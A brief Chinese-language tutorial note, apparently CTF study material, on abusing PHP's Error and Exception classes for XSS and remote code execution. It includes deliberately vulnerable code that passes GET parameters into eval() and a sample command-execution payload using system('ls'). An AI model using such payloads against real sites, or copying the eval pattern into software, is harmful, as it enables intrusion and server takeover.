Error
在PHP7版本中,因为Error中带有__toString
方法,该方法会将传入给__toString
的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。
如对例题传入?a=Error&b=
Exception
同样Exception类中存在__toString
方法,可以构造XSS
?a=Exception&b=
若测试代码为<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>
则可以构造rce或者一句话木马
?a=Exception&b=system(‘ls’)